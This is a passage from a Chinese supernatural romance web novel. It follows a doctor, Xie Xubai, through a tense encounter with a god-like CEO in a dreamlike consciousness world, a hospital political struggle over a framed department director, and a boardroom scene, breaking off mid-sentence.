谢叙白顿住,平静的眼睛几乎一瞬就亮了起来,仿佛缀入万千繁星。 宴朔呼吸微滞,不自在地撇开眼,维持着波澜不惊的口吻:“别忘记你的精神力已然匮乏,精神体疲累不堪,就算我能让你无休止地看下去,你也坚持不了多长时间。” “能多一分钟,就算一分钟。”谢叙白高兴极了,“真的很感谢您。” 尾音上扬,满是欢喜,那充满感染力的笑脸好像让整个意识海都活泛了起来,连乌云笼罩的天空都不再昏暗。 ……算了。 宴朔扯了下嘴角,有一搭没一搭地想,既然今天已经破例过一次,再来一次又有何妨? 反正仅限今天,没有下次。 正这样想着,忽然见谢叙白将眼镜摘下来,不知道在迟疑什么,显得很纠结,半晌鼓起勇气对他说:“一会儿我可能会累得睡过去,所以您要现在试试看吗?” “什么?” “这副眼镜。”不知道宴朔眼镜控的程度在哪个区间,谢叙白试探地说,“您可以亲手戴在我的脸上,无论取摘。” 宴朔:“……” 男人一动不动地看着他,虽然面无表情,但停顿的时间远远超过了正常思考的三秒。 谢叙白以为对方没能明白意思,轻快地揶揄道:“我应该还算个合格的眼镜架子?” 宴朔回过神来,拧眉轻斥:“莫名其妙。” “难道您不喜欢吗?”任何不涉及危害他人的兴趣爱好都值得被尊重,是以谢叙白没有具体点破。 他将眼镜交到宴朔的手上,又将其托起。 镜片上的眼泪已然消失,唯有点点温热的湿意残留其上,让宴朔本想抽开的手僵在原地。 宴朔瞳孔凝滞,看着自己的手在谢叙白的引导下,捏起眼镜,又移到青年清隽的脸上,金丝细框和白皙的皮肤两相映衬。 谢叙白摸着宴朔的手指,竟然在不稳地颤抖,从善如流地安抚道:“不用紧张,没关系的,这只是一份小小的报答,还没请问过您的尊名?” 下一秒,他戴上了眼镜。 就是眼镜戴上去的这一下,让宴朔平稳的呼吸蓦然紧促。 手上一失力,在谢叙白的眼尾用力按了一下。 男人的指腹满是硬茧,摩擦皮肤带出酥酥麻麻的痛感。 最关键的是谢叙白始料未及,被无形的力量逼出几滴泪水。 谢叙白:“?”反应这么大的吗? 他茫然地撩开眼帘,全然没有察觉,呈现在宴朔面前的是怎样一副美景。 泪水润湿镜片,像笼罩着一层薄雾。 宴朔没有说话,仿佛沉浸其中,情不自禁用两指挑起眼镜框,就像掀开遮盖在风景画上的布帘。 镜片一点点抬高,影影绰绰雾气散开,映着一双灿若星辰的眼眸。 那双眼睛早已失去往日的从容淡定,不掩慌颤地看着他。 眼尾殷红得不成样子,美如茫茫雪地里绽开的梅花。 和宴朔预料中的一致,不,比那还要—— 呼吸终于还是乱了,理智也是。 “我叫宴朔。”宴朔用拇指轻轻剐蹭他眼尾那抹红晕,眼睛暗了又暗,“相识这么久,终于想起来问我的名字了吗?”《 》 65-70 第66章 有效威胁 “!!!” 宴朔的突然之举,完全不在谢叙白的意料之内。 从上投下的目光炙热强烈,仿佛能够穿透白雾。本就低沉的声线再沉上一个度,莫名透着掠食凶兽的嗜血性,让谢叙白脊背发寒。 他视线余光飞快扫向周边。 停在百米之外的千面动物竟然全都停下进食,血盆大口冲着他所在的方向,不知道虎视眈眈地盯看了他多长时间。 谢叙白的心脏猛然一个咯噔,条件反射地挣开宴朔的手,欲要退出意识世界。 可宴朔发现他的意图,反手将他的手腕扣紧在座位上,手背爆出暗紫色的青筋。 往上抬高几分的金丝眼镜,在挣动中啪嗒一下落回原位,贴在青年的脸上。 谢叙白忽然听到一道很突兀的低笑,但稍纵即逝,快得像泡影。 宴朔的声线带着贯来的淡然,意味不明地说道:“我在你的面前就是一块石头,对吗?还是你觉得,无论你如何诱惑我都会无动于衷?” 他盯着青年脸上的无措,一想到这不同寻常的情绪是被他挑起的,就有一种莫名的冲动。 ——想让青年更慌更乱,想让人彻底释放那不安的自我,最好在他面前再也不会套上那副谨慎小心的外壳。 同时谢叙白也发现自己无法离开,冷汗接二连三地从背后渗出。 他又尝试挣动好几次,骨节分明的手指用力剐蹭在男人坚硬的掌心,结果发现宴朔的呼吸一滞,随后愈发急促! 艹。 涵养极好的谢叙白头一回在心中爆粗。 他仰头对上宴朔暗沉的视线,就知道男人正在等待他的回应。 但对方的姿态不慌不忙,带着将猎物压在掌下的势在必得。 挣扎?没用。 辱骂?没用。 佯装什么感觉都没有无动于衷?更不行。 他现在是精神体,还虚,轻而易举就会被拆穿戳破。 手指被宴朔禁锢住,掐不到,谢叙白只能咬唇,借由疼痛保持冷静和理智,绞尽脑汁地思考对策。 他正在一个相当被动且危险的处境。 甚至只要他有一个字说错,露出破绽,对方就会像恶狼般扑咬上来,狠狠叼住他的咽喉! 忽然,谢叙白的视线余光扫过不远处的花田,蓦地一顿。 也是这时,微风毫无征兆地拂面,掰开他的嘴唇。 男人明摆着不悦的声音跟着传来:“别在意识世界让自己的精神体受伤。” 什么? 谢叙白后知后觉地抿了下嘴唇。 感受到下唇传来一丝尖锐的刺痛,他才回神,原来是刚才沉思时太专注,没注意咬唇的时候下了狠劲儿,差点破皮流血。 但这不是重点,重点是男人居然在这种时候想着提醒他? 这个人,不,这个神,祂简直—— 谢叙白的脑子里有刹那间的清明,心跳越来越快,撞得胸腔发疼。 却不仅仅只有害怕,还有一丝看见逃生机会的激动。 他闭了闭眼,沉声平静道:“您刚才说过,我可以在任何地方怕您,唯独在这里不用。” “——难道是随口的戏言?” 宴朔压低的上半身戛然而止,视线从上往下,无声地凝视着青年冷静的眸眼。 谢叙白直勾勾地和人对视,咬字清晰地道:“别告诉我,您没有发现我在害怕。” “……”宴朔周身的气压越来越低,有种欲要进食被人突然套住嘴的恼怒。 但扣着青年的手却微微松了劲儿。 谢叙白发现自己僵麻的手指居然能活动了。 宛如平静的大海忽然掀起万丈狂澜,让人始料未及,又心跳如擂鼓狂响。 宴朔,宴朔……这个名字并不陌生,盛天集团的老板,他们的顶头上司。 谢叙白很快想起那几件公司内部的插曲。 撇开那些被清算后重新活过来的高层不谈,公司五层以下的员工在被辞退时,都得到过三倍赔偿金,宴朔发放红包福利也走的私人账户。 宴朔也会阻止小触手酿成大患,而非冷眼旁观。 所以不是错觉,在异化后的世界,眼前的神祇竟然还在遵守秩序! 这让他忽然有种在野蛮混乱的原始丛林,瞥见文明社会建筑群的不敢置信。 亦有种无意中掌握到凶兽的软肋,于是得以在獠牙下泰然处之的松快。 谢叙白决定更进一步。 于是被松开的手指不仅没有挣脱,反而大胆地反扣住男人的手掌,湿冷的汗水贴在两人的掌心,传递着彼此的热意。 谢叙白垂下眼睫,温声说道:“我知道您想做什么,但您要知道,我没有您这样的强大,精神体也很虚弱,根本无法承受住您的力量。” “如果您不管不顾地放纵自己的欲望,毋庸置疑,我会死。难道这是您希望看到的结果?” 听到“死”这个字,宴朔的眉头瞬间紧皱成一团,轻嗤:“放心,你死不掉。” 就算灵魂碎成渣,祂也有办法拼回来,不外乎多费点功夫罢了。 不过谢叙白的话提醒了宴朔。 对方的精神体很弱小,就像那些花,不管他怎么控制力道,都有被弄伤的风险。 现实中的身体也不行,一样承受不住。 仿佛兜头被淋上一盆凉水,宴朔沉着脸松开谢叙白。 大片的阴影随之退散,谢叙白视野敞亮,得以重见高空的雷霆。 几道银白的亮光迅速掠过乌黑云层,轰然劈向大地,炸出好几个狰狞的坑洞。 嘭!嘭!…… 看得出来,男人相当烦闷。 让谢叙白忍不住想起生闷气拿尾巴砸地的平安。 但宴朔显然没平安那么好服软,沉吟片刻后忽然道:“那就等你成神。” ——好,成神前必须找到逃跑的办法。 谢叙白冷静地心想。 他虽然没有感情经验,但常年在社会上打拼,也算见多识广。 然而在男人明晃晃的食欲面前,性向都成了小问题。 宴朔平时冷得像万年不化的雪山,他根本没想过宴朔会对他感兴趣——他们甚至连物种都不同。 难道狮子会觉得狼好看?狐狸会和兔子接吻? 明明引起对方注意的是那副眼镜……难道说是移情? 但是把对眼镜的喜欢移情到人身上,这跨度是不是太大了点。 早知如此,谢叙白刚才就不会那样“放肆”。 宴朔似有所觉地瞥向他,忽然抬起手指。 时光之境往前平移,直接贴在谢叙白的眼前,堵住人现在就跑的冲动。 彼时幼年谢叙白缩在谢语春的大腿后面,揪着对方的衣摆,一脸怕怕。 谢语春鼓励道:“乖乖,这社会上的人啊,形形色色,你如果遇到人只知道躲,以后又要怎么和他们打交道?” 宴朔不咸不淡地说道:“确实如此,只知道躲的人能成什么大事?” 谢叙白:“……” 下一秒谢语春的脸色变得极其严肃,还有几分生冷:“还有那种伪装得很好的衣冠禽兽,表面看着无害善良,脑子里尽是坏念头,只有保持谨慎试探出他的弱点,才能避免受伤,给予致命一击。” “坏念头指想要伤害别人、伤害你……如果遇到那种突然冒出来想脱你衣服、摸你身体的渣滓畜生,直接跑,回来告诉妈妈,妈妈拧爆他的脑袋,知道吗?” 宴朔煞有其事的表情甚至来不及消下去,便僵住。 谢叙白怔了怔,脸迅速撇向另一边,憋了半天还是没压住上翘的嘴角。 没有笑声,但震耳欲聋。 宴朔嘴唇一扯,掀起眼皮。 上一个胆敢笑话自己的神,现在还东逃西窜躲在虚空中,真身都不敢露一个。 结果他的眼刀甩过去,没等刮在谢叙白的身上,余光先瞧见对方勾起的唇角,还有那氤氲在眼里的欢快笑意。 ——终于不是绷着脸皮满腹猜疑,也不是压抑着悲痛和惊惶。 “……”赶在被谢叙白发现之前,宴朔无声地移开目光,新奇地咀嚼着心中莫名的滋味。 时空之境中的孩童懵懵懂懂地扬着脑袋。 他还很小,大脑神经没有发育好,眼中的世界色彩分明,黑就是黑,白就是白。 即使母亲后面换成简单易懂的语言,也依旧不能理解那语重心长的教诲,还有那些肮脏龌龊的黑暗面。 女人变着法儿地重复好几遍,直至小孩似懂非懂地点点头,才停下揉揉他的脑袋,又笑着鼓励他去和公园里的其他小朋友玩。 在小孩一步三回头地过去后,女人猛然用拳头抵住嘴唇,拼命忍住咳嗽。 她的脸色苍白无比,胸口一起一伏,好像岸边缺氧濒死,痛苦张嘴的鱼。 在谢叙白的印象中,最多不过三年,妈妈就会死于重病。 女人似乎对此也有预感,眉眼中透着化不开的担忧,和危机迫在眉睫的急切。 她当然知道那些教诲,对眼前的小孩子来说太早。 可她的时间已经所剩无几,而这世界吃人的时候,从来不挑年龄。 接下来宴朔不再开口,谢叙白也一声不吭,专注地凝视那对他来说珍贵无比的童年时光。 尽快那掺杂着已经知道结局的痛楚,依然让他甘之如饴。 宴朔没有给谢叙白看谢语春最后逝去的那一幕。 不知多久后,沉重的眼皮终于忍不住疯狂打颤。 谢叙白咬牙打起精神,在昏睡前的最后一刻,与宴朔如常告别,再退出对方的意识世界。 他不知道,就在他闭上眼睛的下一秒,漆黑触手如潮水般涌上,把他疲累的身体小心拽回花田中央。 宴朔不动花,只动花下的泥土,让它们挪位置,硬生生于茂密繁盛的花丛中,开辟出一个能躺人的空间。 精神力可以温养精神力。 原本宴朔的精神力过于暴戾,任何人、物、神都承受不起。 但是荒芜的意识世界没来由地开出一片花田,让暴戾不再纯粹,奇迹般多出一分能容人的宽和。 宴朔无声坐在旁边。 一直到青年紧皱的眉头,随着精神力的恢复而缓缓松开,他才动了动手指,摘下那副惹出乱子的金丝眼镜,挂在青年上衣胸口的口袋里。 接着他头也不回地伸出手,敲碎隔音屏障,拽出里面呼呼大睡的小触手。 没有隔音屏障影响,小触手几乎秒醒。 看见宴朔,它小脸一垮。 看见谢叙白,它激动地往前扑。 【白白!白……呜啊!】 宴朔以迅雷不及掩耳之势把它揪回来,淡声道:“别吵醒他。” 被揪住尖尖的小触手反射性想抽他,听到这话立马停住。 宴朔也给谢叙白下了隔音屏障,还有助眠的术法,只要小触手别拽着人上蹿下跳,对方不会轻易醒来。 他环顾四周垂涎三尺的千面怪物,还有头顶躁动的雷霆,和脚下蠢蠢欲动的大地,淡声道:“我有事出去一下,你在这里看好他,别让任何意识体靠近。等他精神力完全恢复再带他出去。” 小触手用尖尖戳戳谢叙白的手腕,果然感受到对方精神力的匮乏,难得听他的话:【好哦。】 宴朔的识念退出意识世界,回归现实世界的本体。 看着寂静空旷的办公室,他的眼神不知不觉冷了下来,抬起手指。 一道形如时空之境的漆黑裂缝出现在半空中,但它的出现似乎无形中扰动了什么,口子在颤颤巍巍地收缩。 无数根漆黑触手凭空出现,冰冷滑腻,吸盘狰狞,空气中弥漫着森冷的白雾。 不同于面向谢叙白的温和,这些触手毫不客气地展露出凶残的一面,扒住裂缝的开口边缘,以雷霆之势,将它活生生掰裂,直到撑开一个可容人进入的口子! 宴朔看着眼前的时空隧道,面无表情地跨步进入。 刚才避免刺激到谢叙白,他没有告诉对方,谢语春三庭匀称、眉高长垂、目光有神,是能活过百年的长寿相。 但同时,女人的中庭笼罩着一股浓郁的黑色死气,意味着有外在原因造成寿数短缺。 还有一件谢叙白知道后可能会承受不住的事。 无论是谢语春还是傅倧,都和他没有任何血缘关系。 宴朔原本想要追溯谢叙白真正的血亲,没想到在使用时空之境的时候,竟然撞见一股力量在百般阻挠。 那力量不弱,很强,强到甚至能和他分庭抗礼。 是以很多看似完整的画面,实际有所缺漏。 ——谢叙白的身世没那么简单。 宴朔从来没有遇到这种情况。 但他不是会忍让的主。 既然不让看,那他就到过去亲眼辨析真相。 另一边,宴朔离开之后,小触手对着头顶的雷霆“龇牙咧嘴”。 【你竟然想吃掉白白?疯了吗,信不信我把你捏成麻花!什么?不是我想的那种吃……啊?】 忽然修长白皙的手掌伸过来,严丝合缝地按在小触手的身上,似乎想要堵住那些“污言秽语”。 小触手勉强从指缝挤出一个尖尖,瞄见青年耳廓的红晕:【白白你没睡啊?】 “……睡了,刚才精神力恢复,又醒了。” 谢叙白闭着眼睛咬牙切齿,别说小触手能听见那些“话”,半空中狂风大作,不加掩饰,简直叫他头疼。 宴朔是讲秩序,但这些意识体分身只讲本能和原始冲动。 谢叙白明天还要继续治疗病人,本想等精神力完全恢复再出去,没几秒耳朵越来越红。 他猛地坐起身,对着天空忍无可忍地厉声道:“你们再说那些有的没的,这个月我就不进来了!我数到3,3、2——” 雷声风声一块停,安静如鸡。 谢叙白警惕地躺回去,慢慢闭眼,身体放松。 当感受到久违的宁静时,他的心里登时有种说不出的感动,随后呼吸渐匀,如愿以偿地睡了个安稳觉。 第67章 周主任出局 不知道睡在宴朔的意识世界引起什么化学反应,当天晚上,谢叙白莫名做了一个梦。 这个梦很奇怪,因为他能清楚地感知到自己在做梦。 梦里他身陷陌生的丛林,往上看是繁星如织的夜空,往前看是葱郁的花草。萤火虫在花丛中轻舞飞扬,与静谧的夜色融合在一起,散发着星星点点的暖黄色光晕。 本该是惬意舒心的景象,谢叙白却莫名感觉有些酸涩。 他嗅到空气中那股冰冷的潮湿气,混杂着淡淡的苦和咸。 他想起身,却只能无力地靠坐在树底下,身体被冷汗浸湿,黏腻的衣服布料紧贴皮肤。 耳畔嗡嗡响,全世界只剩下自己沉重且断断续续的呼吸声。 喉头忽然涌上一口浓郁的铁锈味,又被他硬生生吞咽回去,灼热,腥甜。 ……他受伤了? 这是哪里? 或许记忆模糊的缘故,谢叙白不知道丛林外是什么样的景象,于是四方八方笼罩着浓郁得化不开的白雾。 白雾翻涌,挥之不去,将他所在的丛林衬得像一座小小孤岛。 意识到这样干坐着不行,他咬牙憋着一口气,手撑大树站起身,顺着白雾的边缘探索。 扒开半人高的灌木,正前方有一条泥土夯实的鹅卵石小径。 小径蜿蜒向前,但尽头也没路,只有汹涌翻腾的白雾。 正当谢叙白一筹莫展时,耳畔的杂音忽然退去,几道似有若无的呼喊声从小径的方向传来。 “——” 声音一起一伏,似潮起潮落,低沉喑哑,汹涌澎湃。只是隔着一层朦胧的细纱,叫人听不真切。 谢叙白没来由地觉得,那声音是在呼唤他。 他鼻子一酸,胸口憋闷得喘不过气。 谢叙白想问:这里是什么地方,你又是谁,是不是想让我到你那里去?前面有雾挡住去路,我过不去。 可他张口时,嘴巴却开始不受控,自然而然地一张一合,吐出带着点点笑意的揶揄话语:“好了好了,耳朵都要被你催失聪了,这么猴急干什么,马上就到。” 他说完,扶着树干,固执地往前走。 脚步踉踉跄跄,视野晃晃荡荡。 忽然,梦境开始不稳晃动。 眼前的景象宛如砸入石头的湖面,荡开剧烈的波澜。脚下的土地亦被震出数道狰狞的沟壑,泥石飞溅。 啪的一声,地面轰然坍塌!一切发生在电光火石之间,让人根本来不及反应。 他睁大眼睛,不受控制地朝下栽倒,跌入漆黑阴冷的深渊。 …… 谢叙白猛地惊醒! 他惊魂未定,胸口沉重无比,像压着巨石,和噩梦中一样难以呼吸。 结果探手摸过去,抓到一手软乎乎的绒毛。 再一摸,好几颗小脑袋。 谢叙白探头看过去:“……” 难怪觉得窒息,好几只猫压在胸口,能喘得过气才怪。 小家伙们睡得正熟,他无奈地勾起唇角,没急着把猫赶下床,侧头看向窗外。 时间还早,天刚蒙蒙亮。不一会儿,几缕橙红色的阳光透过窗帘的缝隙,暖热明亮,落入他的眼中,一点点驱散梦中的惊惶。 他再次找回活在人间的实感。 正在这时,小家伙们似乎被阳光晃得不行,陆陆续续睁开眼,打了个大大的哈欠,脑袋抵在青年的胸口,懒洋洋地蹭来蹭去。 谢叙白垂睫看去,眼里含笑,一把将它们搂在怀中。 几只猫还来不及反应发生了什么,就被青年脸埋肚皮一顿乱吸。 登时几张小脸惊恐万分,下意识挣扎:“喵嗷?” 谢叙白眉梢一扬,笑得像个恶魔:“压着我当床垫睡了一晚,这个时候想跑?晚了!” “咪呜——” 直至将猫儿们欺负得泪眼汪汪,谢叙白方才大发慈悲地放过它们,翻身坐起。 不过数秒,他已然恢复往日的冷静,在脑海中迅速过完昨晚发生的一切。 既然妈妈的存在并非作伪,那傅倧的态度就有点耐人寻味了。 谢叙白可以确定自己的推测没错,傅倧一定认识他们,关键是在什么时候? 也是昨天晚上脑子不太正常,又被宴朔突然的举动打了个措手不及,没顾得上询问傅倧和他到底是什么关系。 至于现在去问…… 回想宴朔那不加掩饰的掠食欲,谢叙白的太阳穴就突突直跳。 他当时就看出来,宴朔在感情方面一片空白,不,说空白也不恰当,应该说只有野兽的那套生理逻辑。 ——看上就是做。 连“喜欢”两字都够不上边,充其量只能算被欲望驱使的原始冲动。 加上实力悬殊、本貌的体型差距,被缠上后别说贞操,命都不一定能保住。 这事根本没法理性考虑,越想越乱。 他揉按胀痛的太阳穴,决定走一步看一步。 正这样打算着,谢叙白错眼瞄见床头柜上的金丝眼镜。 他在意识世界得到这副眼镜,却能毫无阻碍地带到现实世界,间接说明宴朔的实力深不可测,可以一直维持精神力实化。 谢叙白将眼镜拿过来,拇指蹭着框架,摩挲片刻,冷不丁说道:“你是不是也是宴朔的意识体分身之一?” “摸你的时候宴朔似乎额外有感觉,如果我将你掰断,他会感觉到痛吗?” 金丝眼镜:“……” 毫无动静。 谢叙白把它翻来覆去地打量,忽然目光顿住。 他压住几乎要挑起的嘴角,表面不动声色,又将眼镜翻看一会儿,叹了口气。 “怎么又开始疑神疑鬼了,还是快点起床去上班吧。” 说完,谢叙白自然而然地将眼镜戴在脸上。 今天是个艳阳日,来医院的患者比往日还多。大多数是听闻昨天的风波后慕名而来,就挂谢叙白的号。 第一医院的内部职称考核分两项,绩效考核和专业技能考核。 绩效考核从字面意思来理解,就是业绩,和收治的病人数量、症状轻重程度挂钩。 谢叙白平时考核分已满,剩下的分数计入绩效里也非常可观,直接跃进统计排行前五十名。 前三名即可评选“医疗名家”奖,不仅可以提高内部声誉,还能随意调用差使各科室实习生。 原本谢叙白对“随意调用”没什么实感,直到周主任过来道贺,似是不经意地提道:“昨天院长把你叫过去,有没有为难你?” 正值午休时间,门外只有匆匆路过的医护人员和保洁阿姨。 听到周主任的话,那几道人影突然止步,悄无声息地竖起耳朵。 谢叙白收回视线,故作惊讶地道:“没有啊,院长为难我干什么?因为我第一天来这里上班,他怕我不适应,所以多慰问了几句。” 这显然不是对方想听到的回答。 “多少还是要注意点。”周主任语重心长地看着他,“院长初来第一医院,应聘的就是特异科主任的位置,也是像你这样大刀阔斧一通收治,第一天就出尽风头……后来他成了院长。” 谢叙白不由得感叹:“这么厉害?不愧是院长!” 周主任见他满眼钦佩,感觉自己简直在对牛弹琴,恨铁不成钢地道:“你难道没有发现自己现在的风头比院长当年更胜一筹?功高盖主啊!” “按照你的收治速度,要不了多久就能达到绩效第一名。身为上位者,哪个能心无芥蒂地看着能力出众的下属培养自己的势力?” 调用实习生等于培养势力? 谢叙白稍一琢磨,意识到“调用”可能是书面语,实际翻译为“明抢”,看到谁能力出众就能抢过来收为己用。 那可是别的科室老师已经培养好的亲信人才,耳目渲染下,可能还听到不少八卦秘辛,各个科室捞一两个人过来,根本不愁情报来源。 难怪能作为前三名奖励发放。 周主任继续苦口婆心:“医院严禁主职医生身兼数职,你居然还大张旗鼓地联系那个劳什子的爱心机构,简直是在老虎嘴边拔毛,如果院长想整治你,根本不用费心找什么借口!” 忽然他俩的手机同时响起提示音,是医院的通知。 周主任拿起来看,凝神盯着上面的文字,不由自主念出声:“为更好地保障患者权益,解决人民群众看病难的现象,即日起,我院兹与许氏爱心公益机构合作……什么?合作?!” 第一医院占据市中心的黄金地段,人人都想借机分一杯羹,但因为审核严苛,从未有过和任何机构合作的先例。 周主任猛然睁大眼瞪向谢叙白:“难道是你搞的鬼?” 谢叙白耸了耸肩:“当时只想着救助病人,后来才意识到不妥。只是没想到院长这么看重,上午才提出的建议……啊!抱歉,我是不是不该说出来?” 他猛然闭嘴,作出一副不小心说错话的懊悔模样,看得周主任心惊胆战。 通常内部审核能走半个月流程,现在半天不到直接通过,肯定是院长在背后开绿灯啊! 原以为谢叙白和院长不对付,如今看来却是关系匪浅,那他刚才在干什么,面对面自爆? 周主任越想越心慌,忙不迭地说道:“没,那个,您看我多不长眼,既然是午休时间,我就不打扰谢主任休息了,您先——” “周主任。”谢叙白适时叫住他,“我昨天的病人被换,院长说你嫌疑最大,你有什么头绪吗?” “什么?怎么可能!”周主任像被踩到尾巴的猫,差点跳起来。 回头一看门竟然还敞开着,手忙脚乱地关上。 他压低声音,急切辩解:“谢主任你一定要相信我,害你对我有什么好处?” 谢叙白内心不置可否,面上依然疑惑:“那会是谁?只有主任才有权利更改病人的就诊资料,总不至于是其他主任要害我。” “他们怎么不可能,您是不知道,最开始就是他们让我……”周主任险些说漏嘴,话要出口的时候突然刹住。 谢叙白笑意盈盈地打量他,将他看出一身冷汗。 “你的意思是主任中有人在嫁祸你?嗯……”谢叙白尾音拖长,状似沉吟,又忽然换作若无其事的笑脸,“不管怎么说,毕竟同事一场,知道您没对我有意见,我心里还是踏实了不少,希望我俩今后能好好相处。” 周主任点头如捣蒜:“好好相处,当然能,一定的。” 谢叙白:“所以我想拜托您一件事,我这边病人多,有些走不开,劳烦您帮我在午休前把这份企划案带给院长,上面列有和许氏机构合作的细则。” 周主任一看午休时间只剩十分钟,又见谢叙白不容置疑地笑看着他,咬牙应声:“行,我现在就去。” 他匆匆赶到院长办公室,连敲三下门才开。 傅倧顶着两个偌大的黑眼圈,明摆着刚才正在补觉,对他投来死亡凝视:“什么事?” 不用周主任开口,傅倧已经看见了他手中拿到的企划案,皱了皱眉头直接拿过来。 大概看过一遍,他的脸色略微一变,略显怪异地瞥了周主任两眼。 周主任见傅倧好像头一次看见这份企划案,直觉有哪里不对劲。 可没几秒中年男人笑出声,顺势收下企划案:“好,多谢你送过来。” “我明明叫行政那边再等几天,谁想到现在就发了通知。算了,通知信息你没删吧?给我看看。” 傅倧话说得自然,周主任不作他想,谨慎地锁上私人通讯记录,而后才将通知消息点开,交给对方。 傅倧两三眼扫过去,手指在上面轻划两下,似乎在仔细看,随后关上手机交还给周主任:“现在是午休时间,估计有很多人都没顾得上看通知,你一会儿以我的名义打电话直接告知其他主任,问问他们有什么想法。” 听着他理所当然的命令,周主任有点恼怒,怎么一个二个的都在指使他? 但他也没办法,谢叙白说了,他现在嫌疑最大,不好好表现怕是真的要给人背黑锅。 无奈,周主任只好告别院长,到无人的角落打电话通知。 奇怪的是,他一个个通知过去,每个人都以沉默应对,也不提有什么想法。 直至通知到心直口快的章主任。 后者上一秒还在爽朗地笑着说:“老周啊,你又想干什么?” 下一秒声音陡然沉下,透着淬毒的冷意,宛若暴风雨来临的前兆:“你什么时候成为了院长的马前卒,还帮他试探我们的想法?” 周主任一惊:“什么?老章你说清楚,什么叫我成了院长的马前卒?” 章主任不等他说完,甩下一句“没什么好说的”,直接挂断电话。 周主任听到嘟的一声忙音,顿时人都傻了,忽然反应过来他们可能没看到通知,急忙翻出消息,想要证明自己只是简简单单地带个话。 可谁想到消息页面一片空白。 怎么回事?……难道是刚才把手机拿出去的时候,傅倧删掉了他的通知?! 周主任抖着手,登录进医院平台。如果是医院行政通过的决策,平台网站会有正式通告。 结果是什么都没有。 周主任如遭晴天霹雳,一股寒意自脚底板升起。 另一边的傅倧没等多久,就接到了李主任的弹劾电话。电话中犀利地指出周主任工作中有多次为己徇私、错诊错判的现象,并且有充足的证据。 傅倧静静地听完,意味不明地笑道:“好歹也是你们昔日的同事,就这么不讲情面?” “……” 傅倧遗憾地叹了口气:“我不过让周主任帮我带个话而已,有必要这么小心吗?要知道他还什么都没对我说。” “……许氏爱心机构,谢主任昨天叫来了那家机构的审核员,您和他早前就认识?” 傅倧似笑非笑:“你才知道?他七岁丧母被我收养,十五岁离家出走不知所踪。昨天我俩父子相认,场面那叫一个感人肺腑,可惜你们都没看见。” 电话那头的李主任脸都差点被气成猪肝色,冷笑道:“谁不知道您爱岗敬业力争上游啊,上岗后一直住在医院宿舍,十几年风雨无阻,坐诊从未断过,哪有时间去养什么小孩?” 他提起昨晚上傅倧激动之下不小心漏出的口风。 “吕向财是谁?他有什么东西在你这儿?你就是拿这事儿来威胁的谢主任?” 傅倧声调毫无起伏地捧哏:“我敬您德高望重,没有证据的事情可别瞎说,实在不行您拿着证据来举报我?” 李主任一哽,郁结在心,院长就是医院最大,他又能举报到哪里去! “傅倧,你别得意——前院长到底为什么会出事,即使所有人都忘记了,我也不会忘。” 傅倧嘴角的弧度猝然一僵。 李主任一字一顿,厌恶至极地斥道:“终有一天,我会当着所有人的面揭穿你那张虚伪肮脏的嘴脸!” 老人啪的一声挂断电话。 傅倧看着息屏的手机,脸上最后一点笑意也消失了,变得晦暗不明,嘴唇逐渐抿紧成一条凌厉的直线。 可没多久,手机屏幕唰一下又亮起来,显示一条陌生消息。 :不好意思院长,我让周主任帮我把诊断单带上去,谁想到他拿错了!您这边方便吗,我现在来找您? 傅倧看着这段文字,眸色几经变化,蓦地笑出声,脸上的沉郁如烟雾般消散。 另一边的谢叙白同时接到李主任打来的电话,后者语气关切:“谢主任啊,今晚你有空吗?有位患者病情严重,我思来想去,或许只有你能救他。” 今晚?是说下班后? 谢叙白疑惑问道:“是其他医院里的患者?” “不不不,就是咱们医院里的患者,不过这位患者有点特殊,他是S级,而且只在午夜出没。” 谢叙白反应极快,神色微动:“你是说院长收治的那名S级患者?” “对。”李主任顿了顿,严肃道,“我怀疑他就是被傅倧囚禁的前院长。” 第68章 他看到了又一个周主任…… 李主任说完这句之后就挂了电话。 谢叙白刹那间萌生出许多疑惑,也没顾得上问。 不管老人再怎么压抑语气,那丝丝缕缕的怨憎愤懑,还是透过无意识的咬字和重音传达了过来。 谢叙白直觉这家医院底下暗潮涌动,隐藏着诸多讳莫如深的秘密,沉吟片刻,托吕向财帮忙查一下前院长的信息资料。 吕向财那边答应得很快,末了,忐忑地问一句:【你现在还生气吗?】 谢叙白看完消息,先不紧不慢地整理完手上的诊断单,随后才面不改色地进行回复。 同一时间,盛天集团会议室。 坐在决策位的吕向财黑沉着脸,室内空气仿佛凝固一般,叫人心惊胆战。 “叮咚”消息提示声响起,吕向财瞬间像过电一样鲤鱼打挺坐直身,把正在汇报季度工作进展的职员吓了一跳。 全场目光不约而同地投过来。 吕向财也知道自己反应过大,掩饰性地咳嗽两声:“没事,你们继续,我在听。” 汇报的职员点点头。 他不着痕迹地瞥向董事会各位高管所在的位置。 董事会中几名成员一样察觉到吕向财的心情由阴转晴,似乎有见缝插针的余地,视线交接,微微点头,藏下眼底的奸猾。 由于宴朔最近出差不在公司,各种决策相关安排全权交给吕向财主持——乍然听到这个好消息的时候,他们差点喜极而泣。 也不知道宴朔是转世来的天煞孤星还是面相生恶叫人畏惧,每当他们面向宴朔的时候,都有一种仿佛被杀掉过无数次的惊悚感,发自内心忍不住战栗。 像老鼠见到猫,屡看屡怕,再看更怕,即便听到工资翻倍或奖励股权都没法消除。 总之就是非常邪乎。 在这样的强大压迫感下,不管有多少歪心邪意他们也只能压着。 现在宴朔百年难得一遇地出差了,主事人换成吕向财,所有人眼中精光一闪,只因他们清楚,一展拳脚的大好时机这是来了啊! 要问吕向财作为宴朔身边唯一的亲信,他们会不会怕对方,那——当然也怕。 对方气质幽深,一直叫人琢磨不透,身上同样有股挥之不去的血腥味,笑起来时尤其像个手上沾了几百条的在逃斯文败类。 但董事会的人知道,吕向财唯宴朔是命的表现都是假象,对方的心妥妥跟他们是一起的啊! 不知道多少次,吕向财有意无意跟其他高层透露:“同为一条河里的水鬼,大家有什么区别”、“都是拿命挣扎的人”、“想活命就安分一点,别惹宴朔生气,所有人都一样”。 每逢年终季末这种关键时期,吕向财看向他们的眼中,总会饱含着无法言喻的怜悯和同情。 甚至有人当着他的面阳奉阴违,都能睁一只眼闭一只眼忽略过去。 如此包容,如此宽厚,他们再不懂吕秘书的殷切关怀,那就是真的蠢。 这一场季度会议他们想要暗度陈仓,吕向财越是心不在焉,或心情越好,对他们蒙混过关越有好处。 见吕向财嘴角上挑,高管们丢给汇报者一个眼神,对方心领神会,拇指蹭开最顶上一页报告,目光偷偷移向下面“略微润色”的纸页。 汇报者清清嗓子,声情并茂地说道:“最近一段时间,我们计划和蓝海公司继续展开合作。 